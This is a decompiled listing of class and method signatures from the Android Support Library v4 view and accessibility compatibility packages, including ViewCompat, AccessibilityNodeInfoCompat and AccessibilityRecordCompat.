android/support/v4/view/ViewCompatHC.class


package android.support.v4.view;
synchronized class ViewCompatHC {
    void ViewCompatHC();
    static long getFrameTime();
    public static void setLayerType(android.view.View, int, android.graphics.Paint);
    public static int getLayerType(android.view.View);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatImpl.class


package android.support.v4.view;
abstract interface ViewGroupCompat$ViewGroupCompatImpl {
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
}










android/support/v4/view/PagerTabStrip$1.class


package android.support.v4.view;
synchronized class PagerTabStrip$1 implements android.view.View$OnClickListener {
    void PagerTabStrip$1(PagerTabStrip);
    public void onClick(android.view.View);
}










android/support/v4/view/MenuCompat$BaseMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuCompat$BaseMenuVersionImpl implements MenuCompat$MenuVersionImpl {
    void MenuCompat$BaseMenuVersionImpl();
    public boolean setShowAsAction(android.view.MenuItem, int);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl extends AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewGroupCompatIcs.class


package android.support.v4.view;
synchronized class ViewGroupCompatIcs {
    void ViewGroupCompatIcs();
    public static boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/VelocityTrackerCompat.class


package android.support.v4.view;
public synchronized class VelocityTrackerCompat {
    static final VelocityTrackerCompat$VelocityTrackerVersionImpl IMPL;
    public void VelocityTrackerCompat();
    public static float getXVelocity(android.view.VelocityTracker, int);
    public static float getYVelocity(android.view.VelocityTracker, int);
    static void <clinit>();
}










android/support/v4/view/ViewCompat$BaseViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$BaseViewCompatImpl implements ViewCompat$ViewCompatImpl {
    void ViewCompat$BaseViewCompatImpl();
    public boolean canScrollHorizontally(android.view.View, int);
    public boolean canScrollVertically(android.view.View, int);
    public int getOverScrollMode(android.view.View);
    public void setOverScrollMode(android.view.View, int);
    public void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean hasTransientState(android.view.View);
    public void setHasTransientState(android.view.View, boolean);
    public void postInvalidateOnAnimation(android.view.View);
    public void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public void postOnAnimation(android.view.View, Runnable);
    public void postOnAnimationDelayed(android.view.View, Runnable, long);
    long getFrameTime();
    public int getImportantForAccessibility(android.view.View);
    public void setImportantForAccessibility(android.view.View, int);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public void setLayerType(android.view.View, int, android.graphics.Paint);
    public int getLayerType(android.view.View);
    public int getLabelFor(android.view.View);
    public void setLabelFor(android.view.View, int);
    public void setLayerPaint(android.view.View, android.graphics.Paint);
    public int getLayoutDirection(android.view.View);
    public void setLayoutDirection(android.view.View, int);
    public android.view.ViewParent getParentForAccessibility(android.view.View);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeInfoCompat {
    private static final AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl IMPL;
    private final Object mInfo;
    public static final int ACTION_FOCUS = 1;
    public static final int ACTION_CLEAR_FOCUS = 2;
    public static final int ACTION_SELECT = 4;
    public static final int ACTION_CLEAR_SELECTION = 8;
    public static final int ACTION_CLICK = 16;
    public static final int ACTION_LONG_CLICK = 32;
    public static final int ACTION_ACCESSIBILITY_FOCUS = 64;
    public static final int ACTION_CLEAR_ACCESSIBILITY_FOCUS = 128;
    public static final int ACTION_NEXT_AT_MOVEMENT_GRANULARITY = 256;
    public static final int ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY = 512;
    public static final int ACTION_NEXT_HTML_ELEMENT = 1024;
    public static final int ACTION_PREVIOUS_HTML_ELEMENT = 2048;
    public static final int ACTION_SCROLL_FORWARD = 4096;
    public static final int ACTION_SCROLL_BACKWARD = 8192;
    public static final String ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT = ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT;
    public static final String ACTION_ARGUMENT_HTML_ELEMENT_STRING = ACTION_ARGUMENT_HTML_ELEMENT_STRING;
    public static final int FOCUS_INPUT = 1;
    public static final int FOCUS_ACCESSIBILITY = 2;
    public static final int MOVEMENT_GRANULARITY_CHARACTER = 1;
    public static final int MOVEMENT_GRANULARITY_WORD = 2;
    public static final int MOVEMENT_GRANULARITY_LINE = 4;
    public static final int MOVEMENT_GRANULARITY_PARAGRAPH = 8;
    public static final int MOVEMENT_GRANULARITY_PAGE = 16;
    static AccessibilityNodeInfoCompat wrapNonNullInstance(Object);
    public void AccessibilityNodeInfoCompat(Object);
    public Object getInfo();
    public static AccessibilityNodeInfoCompat obtain(android.view.View);
    public static AccessibilityNodeInfoCompat obtain(android.view.View, int);
    public static AccessibilityNodeInfoCompat obtain();
    public static AccessibilityNodeInfoCompat obtain(AccessibilityNodeInfoCompat);
    public void setSource(android.view.View);
    public void setSource(android.view.View, int);
    public AccessibilityNodeInfoCompat findFocus(int);
    public AccessibilityNodeInfoCompat focusSearch(int);
    public int getWindowId();
    public int getChildCount();
    public AccessibilityNodeInfoCompat getChild(int);
    public void addChild(android.view.View);
    public void addChild(android.view.View, int);
    public int getActions();
    public void addAction(int);
    public boolean performAction(int);
    public boolean performAction(int, android.os.Bundle);
    public void setMovementGranularities(int);
    public int getMovementGranularities();
    public java.util.List findAccessibilityNodeInfosByText(String);
    public AccessibilityNodeInfoCompat getParent();
    public void setParent(android.view.View);
    public void setParent(android.view.View, int);
    public void getBoundsInParent(android.graphics.Rect);
    public void setBoundsInParent(android.graphics.Rect);
    public void getBoundsInScreen(android.graphics.Rect);
    public void setBoundsInScreen(android.graphics.Rect);
    public boolean isCheckable();
    public void setCheckable(boolean);
    public boolean isChecked();
    public void setChecked(boolean);
    public boolean isFocusable();
    public void setFocusable(boolean);
    public boolean isFocused();
    public void setFocused(boolean);
    public boolean isVisibleToUser();
    public void setVisibleToUser(boolean);
    public boolean isAccessibilityFocused();
    public void setAccessibilityFocused(boolean);
    public boolean isSelected();
    public void setSelected(boolean);
    public boolean isClickable();
    public void setClickable(boolean);
    public boolean isLongClickable();
    public void setLongClickable(boolean);
    public boolean isEnabled();
    public void setEnabled(boolean);
    public boolean isPassword();
    public void setPassword(boolean);
    public boolean isScrollable();
    public void setScrollable(boolean);
    public CharSequence getPackageName();
    public void setPackageName(CharSequence);
    public CharSequence getClassName();
    public void setClassName(CharSequence);
    public CharSequence getText();
    public void setText(CharSequence);
    public CharSequence getContentDescription();
    public void setContentDescription(CharSequence);
    public void recycle();
    public int hashCode();
    public boolean equals(Object);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordStubImpl implements AccessibilityRecordCompat$AccessibilityRecordImpl {
    void AccessibilityRecordCompat$AccessibilityRecordStubImpl();
    public Object obtain();
    public Object obtain(Object);
    public int getAddedCount(Object);
    public CharSequence getBeforeText(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public int getCurrentItemIndex(Object);
    public int getFromIndex(Object);
    public int getItemCount(Object);
    public int getMaxScrollX(Object);
    public int getMaxScrollY(Object);
    public android.os.Parcelable getParcelableData(Object);
    public int getRemovedCount(Object);
    public int getScrollX(Object);
    public int getScrollY(Object);
    public AccessibilityNodeInfoCompat getSource(Object);
    public java.util.List getText(Object);
    public int getToIndex(Object);
    public int getWindowId(Object);
    public boolean isChecked(Object);
    public boolean isEnabled(Object);
    public boolean isFullScreen(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public void recycle(Object);
    public void setAddedCount(Object, int);
    public void setBeforeText(Object, CharSequence);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setContentDescription(Object, CharSequence);
    public void setCurrentItemIndex(Object, int);
    public void setEnabled(Object, boolean);
    public void setFromIndex(Object, int);
    public void setFullScreen(Object, boolean);
    public void setItemCount(Object, int);
    public void setMaxScrollX(Object, int);
    public void setMaxScrollY(Object, int);
    public void setParcelableData(Object, android.os.Parcelable);
    public void setPassword(Object, boolean);
    public void setRemovedCount(Object, int);
    public void setScrollX(Object, int);
    public void setScrollY(Object, int);
    public void setScrollable(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setSource(Object, android.view.View, int);
    public void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl implements AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl();
    public Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1 implements AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1(AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl, AccessibilityNodeProviderCompat);
    public boolean performAction(int, int, android.os.Bundle);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public Object createAccessibilityNodeInfo(int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl();
    public Object obtain();
    public Object obtain(android.view.View);
    public Object obtain(Object);
    public void addAction(Object, int);
    public void addChild(Object, android.view.View);
    public java.util.List findAccessibilityNodeInfosByText(Object, String);
    public int getActions(Object);
    public void getBoundsInParent(Object, android.graphics.Rect);
    public void getBoundsInScreen(Object, android.graphics.Rect);
    public Object getChild(Object, int);
    public int getChildCount(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public CharSequence getPackageName(Object);
    public Object getParent(Object);
    public CharSequence getText(Object);
    public int getWindowId(Object);
    public boolean isCheckable(Object);
    public boolean isChecked(Object);
    public boolean isClickable(Object);
    public boolean isEnabled(Object);
    public boolean isFocusable(Object);
    public boolean isFocused(Object);
    public boolean isLongClickable(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public boolean isSelected(Object);
    public boolean performAction(Object, int);
    public void setBoundsInParent(Object, android.graphics.Rect);
    public void setBoundsInScreen(Object, android.graphics.Rect);
    public void setCheckable(Object, boolean);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setClickable(Object, boolean);
    public void setContentDescription(Object, CharSequence);
    public void setEnabled(Object, boolean);
    public void setFocusable(Object, boolean);
    public void setFocused(Object, boolean);
    public void setLongClickable(Object, boolean);
    public void setPackageName(Object, CharSequence);
    public void setParent(Object, android.view.View);
    public void setPassword(Object, boolean);
    public void setScrollable(Object, boolean);
    public void setSelected(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setText(Object, CharSequence);
    public void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityEventCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompatIcs {
    void AccessibilityEventCompatIcs();
    public static int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public static void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public static Object getRecord(android.view.accessibility.AccessibilityEvent, int);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeProviderCompat {
    private static final AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl IMPL;
    private final Object mProvider;
    public void AccessibilityNodeProviderCompat();
    public void AccessibilityNodeProviderCompat(Object);
    public Object getProvider();
    public AccessibilityNodeInfoCompat createAccessibilityNodeInfo(int);
    public boolean performAction(int, int, android.os.Bundle);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityRecordCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatJellyBean {
    void AccessibilityRecordCompatJellyBean();
    public static void setSource(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerIcsImpl extends AccessibilityManagerCompat$AccessibilityManagerStubImpl {
    void AccessibilityManagerCompat$AccessibilityManagerIcsImpl();
    public Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerVersionImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityManagerCompat$AccessibilityManagerVersionImpl {
    public abstract Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public abstract java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public abstract boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventVersionImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityEventCompat$AccessibilityEventVersionImpl {
    public abstract int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public abstract void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public abstract Object getRecord(android.view.accessibility.AccessibilityEvent, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompatIcsMr1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatIcsMr1 {
    void AccessibilityRecordCompatIcsMr1();
    public static int getMaxScrollX(Object);
    public static int getMaxScrollY(Object);
    public static void setMaxScrollX(Object, int);
    public static void setMaxScrollY(Object, int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatJellyBean {
    void AccessibilityNodeInfoCompatJellyBean();
    public static void addChild(Object, android.view.View, int);
    public static void setSource(Object, android.view.View, int);
    public static boolean isVisibleToUser(Object);
    public static void setVisibleToUser(Object, boolean);
    public static boolean performAction(Object, int, android.os.Bundle);
    public static void setMovementGranularities(Object, int);
    public static int getMovementGranularities(Object);
    public static Object obtain(android.view.View, int);
    public static Object findFocus(Object, int);
    public static Object focusSearch(Object, int);
    public static void setParent(Object, android.view.View, int);
    public static boolean isAccessibilityFocused(Object);
    public static void setAccesibilityFocused(Object, boolean);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordIcsImpl extends AccessibilityRecordCompat$AccessibilityRecordStubImpl {
    void AccessibilityRecordCompat$AccessibilityRecordIcsImpl();
    public Object obtain();
    public Object obtain(Object);
    public int getAddedCount(Object);
    public CharSequence getBeforeText(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public int getCurrentItemIndex(Object);
    public int getFromIndex(Object);
    public int getItemCount(Object);
    public android.os.Parcelable getParcelableData(Object);
    public int getRemovedCount(Object);
    public int getScrollX(Object);
    public int getScrollY(Object);
    public AccessibilityNodeInfoCompat getSource(Object);
    public java.util.List getText(Object);
    public int getToIndex(Object);
    public int getWindowId(Object);
    public boolean isChecked(Object);
    public boolean isEnabled(Object);
    public boolean isFullScreen(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public void recycle(Object);
    public void setAddedCount(Object, int);
    public void setBeforeText(Object, CharSequence);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setContentDescription(Object, CharSequence);
    public void setCurrentItemIndex(Object, int);
    public void setEnabled(Object, boolean);
    public void setFromIndex(Object, int);
    public void setFullScreen(Object, boolean);
    public void setItemCount(Object, int);
    public void setParcelableData(Object, android.os.Parcelable);
    public void setPassword(Object, boolean);
    public void setRemovedCount(Object, int);
    public void setScrollX(Object, int);
    public void setScrollY(Object, int);
    public void setScrollable(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerStubImpl implements AccessibilityManagerCompat$AccessibilityManagerVersionImpl {
    void AccessibilityManagerCompat$AccessibilityManagerStubImpl();
    public Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityRecordCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatIcs {
    void AccessibilityRecordCompatIcs();
    public static Object obtain();
    public static Object obtain(Object);
    public static int getAddedCount(Object);
    public static CharSequence getBeforeText(Object);
    public static CharSequence getClassName(Object);
    public static CharSequence getContentDescription(Object);
    public static int getCurrentItemIndex(Object);
    public static int getFromIndex(Object);
    public static int getItemCount(Object);
    public static android.os.Parcelable getParcelableData(Object);
    public static int getRemovedCount(Object);
    public static int getScrollX(Object);
    public static int getScrollY(Object);
    public static Object getSource(Object);
    public static java.util.List getText(Object);
    public static int getToIndex(Object);
    public static int getWindowId(Object);
    public static boolean isChecked(Object);
    public static boolean isEnabled(Object);
    public static boolean isFullScreen(Object);
    public static boolean isPassword(Object);
    public static boolean isScrollable(Object);
    public static void recycle(Object);
    public static void setAddedCount(Object, int);
    public static void setBeforeText(Object, CharSequence);
    public static void setChecked(Object, boolean);
    public static void setClassName(Object, CharSequence);
    public static void setContentDescription(Object, CharSequence);
    public static void setCurrentItemIndex(Object, int);
    public static void setEnabled(Object, boolean);
    public static void setFromIndex(Object, int);
    public static void setFullScreen(Object, boolean);
    public static void setItemCount(Object, int);
    public static void setParcelableData(Object, android.os.Parcelable);
    public static void setPassword(Object, boolean);
    public static void setRemovedCount(Object, int);
    public static void setScrollX(Object, int);
    public static void setScrollY(Object, int);
    public static void setScrollable(Object, boolean);
    public static void setSource(Object, android.view.View);
    public static void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl implements AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl();
    public Object obtain();
    public Object obtain(android.view.View);
    public Object obtain(android.view.View, int);
    public Object obtain(Object);
    public void addAction(Object, int);
    public void addChild(Object, android.view.View);
    public void addChild(Object, android.view.View, int);
    public java.util.List findAccessibilityNodeInfosByText(Object, String);
    public int getActions(Object);
    public void getBoundsInParent(Object, android.graphics.Rect);
    public void getBoundsInScreen(Object, android.graphics.Rect);
    public Object getChild(Object, int);
    public int getChildCount(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public CharSequence getPackageName(Object);
    public Object getParent(Object);
    public CharSequence getText(Object);
    public int getWindowId(Object);
    public boolean isCheckable(Object);
    public boolean isChecked(Object);
    public boolean isClickable(Object);
    public boolean isEnabled(Object);
    public boolean isFocusable(Object);
    public boolean isFocused(Object);
    public boolean isVisibleToUser(Object);
    public boolean isAccessibilityFocused(Object);
    public boolean isLongClickable(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public boolean isSelected(Object);
    public boolean performAction(Object, int);
    public boolean performAction(Object, int, android.os.Bundle);
    public void setMovementGranularities(Object, int);
    public int getMovementGranularities(Object);
    public void setBoundsInParent(Object, android.graphics.Rect);
    public void setBoundsInScreen(Object, android.graphics.Rect);
    public void setCheckable(Object, boolean);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setClickable(Object, boolean);
    public void setContentDescription(Object, CharSequence);
    public void setEnabled(Object, boolean);
    public void setFocusable(Object, boolean);
    public void setFocused(Object, boolean);
    public void setVisibleToUser(Object, boolean);
    public void setAccessibilityFocused(Object, boolean);
    public void setLongClickable(Object, boolean);
    public void setPackageName(Object, CharSequence);
    public void setParent(Object, android.view.View);
    public void setPassword(Object, boolean);
    public void setScrollable(Object, boolean);
    public void setSelected(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setSource(Object, android.view.View, int);
    public Object findFocus(Object, int);
    public Object focusSearch(Object, int);
    public void setText(Object, CharSequence);
    public void recycle(Object);
    public void setParent(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl extends AccessibilityRecordCompat$AccessibilityRecordIcsImpl {
    void AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl();
    public int getMaxScrollX(Object);
    public int getMaxScrollY(Object);
    public void setMaxScrollX(Object, int);
    public void setMaxScrollY(Object, int);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompatJellyBean {
    void AccessibilityNodeProviderCompatJellyBean();
    public static Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompatIcs {
    void AccessibilityManagerCompatIcs();
    public static Object newAccessibilityStateChangeListener(AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge);
    public static boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, Object);
    public static boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, Object);
    public static java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public static java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public static boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl {
    public abstract Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs$1.class


package android.support.v4.view.accessibility;
final synchronized class AccessibilityManagerCompatIcs$1 implements android.view.accessibility.AccessibilityManager$AccessibilityStateChangeListener {
    void AccessibilityManagerCompatIcs$1(AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge);
    public void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityRecordCompat$AccessibilityRecordImpl {
    public abstract Object obtain();
    public abstract Object obtain(Object);
    public abstract void setSource(Object, android.view.View);
    public abstract void setSource(Object, android.view.View, int);
    public abstract AccessibilityNodeInfoCompat getSource(Object);
    public abstract int getWindowId(Object);
    public abstract boolean isChecked(Object);
    public abstract void setChecked(Object, boolean);
    public abstract boolean isEnabled(Object);
    public abstract void setEnabled(Object, boolean);
    public abstract boolean isPassword(Object);
    public abstract void setPassword(Object, boolean);
    public abstract boolean isFullScreen(Object);
    public abstract void setFullScreen(Object, boolean);
    public abstract boolean isScrollable(Object);
    public abstract void setScrollable(Object, boolean);
    public abstract int getItemCount(Object);
    public abstract void setItemCount(Object, int);
    public abstract int getCurrentItemIndex(Object);
    public abstract void setCurrentItemIndex(Object, int);
    public abstract int getFromIndex(Object);
    public abstract void setFromIndex(Object, int);
    public abstract int getToIndex(Object);
    public abstract void setToIndex(Object, int);
    public abstract int getScrollX(Object);
    public abstract void setScrollX(Object, int);
    public abstract int getScrollY(Object);
    public abstract void setScrollY(Object, int);
    public abstract int getMaxScrollX(Object);
    public abstract void setMaxScrollX(Object, int);
    public abstract int getMaxScrollY(Object);
    public abstract void setMaxScrollY(Object, int);
    public abstract int getAddedCount(Object);
    public abstract void setAddedCount(Object, int);
    public abstract int getRemovedCount(Object);
    public abstract void setRemovedCount(Object, int);
    public abstract CharSequence getClassName(Object);
    public abstract void setClassName(Object, CharSequence);
    public abstract java.util.List getText(Object);
    public abstract CharSequence getBeforeText(Object);
    public abstract void setBeforeText(Object, CharSequence);
    public abstract CharSequence getContentDescription(Object);
    public abstract void setContentDescription(Object, CharSequence);
    public abstract android.os.Parcelable getParcelableData(Object);
    public abstract void setParcelableData(Object, android.os.Parcelable);
    public abstract void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat.class


package android.support.v4.view.accessibility;
public abstract synchronized class AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat {
    final Object mListener;
    public void AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat();
    public abstract void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompat$AccessibilityEventIcsImpl extends AccessibilityEventCompat$AccessibilityEventStubImpl {
    void AccessibilityEventCompat$AccessibilityEventIcsImpl();
    public void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public Object getRecord(android.view.accessibility.AccessibilityEvent, int);
    public int getRecordCount(android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/accessibility/AccessibilityEventCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityEventCompat {
    private static final AccessibilityEventCompat$AccessibilityEventVersionImpl IMPL;
    public static final int TYPE_VIEW_HOVER_ENTER = 128;
    public static final int TYPE_VIEW_HOVER_EXIT = 256;
    public static final int TYPE_TOUCH_EXPLORATION_GESTURE_START = 512;
    public static final int TYPE_TOUCH_EXPLORATION_GESTURE_END = 1024;
    public static final int TYPE_WINDOW_CONTENT_CHANGED = 2048;
    public static final int TYPE_VIEW_SCROLLED = 4096;
    public static final int TYPE_VIEW_TEXT_SELECTION_CHANGED = 8192;
    public static final int TYPE_ANNOUNCEMENT = 16384;
    public static final int TYPE_VIEW_ACCESSIBILITY_FOCUSED = 32768;
    public static final int TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED = 65536;
    public static final int TYPE_VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY = 131072;
    public static final int TYPE_GESTURE_DETECTION_START = 262144;
    public static final int TYPE_GESTURE_DETECTION_END = 524288;
    public static final int TYPE_TOUCH_INTERACTION_START = 1048576;
    public static final int TYPE_TOUCH_INTERACTION_END = 2097152;
    public static final int TYPES_ALL_MASK = -1;
    private void AccessibilityEventCompat();
    public static int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public static void appendRecord(android.view.accessibility.AccessibilityEvent, AccessibilityRecordCompat);
    public static AccessibilityRecordCompat getRecord(android.view.accessibility.AccessibilityEvent, int);
    static void <clinit>();
}










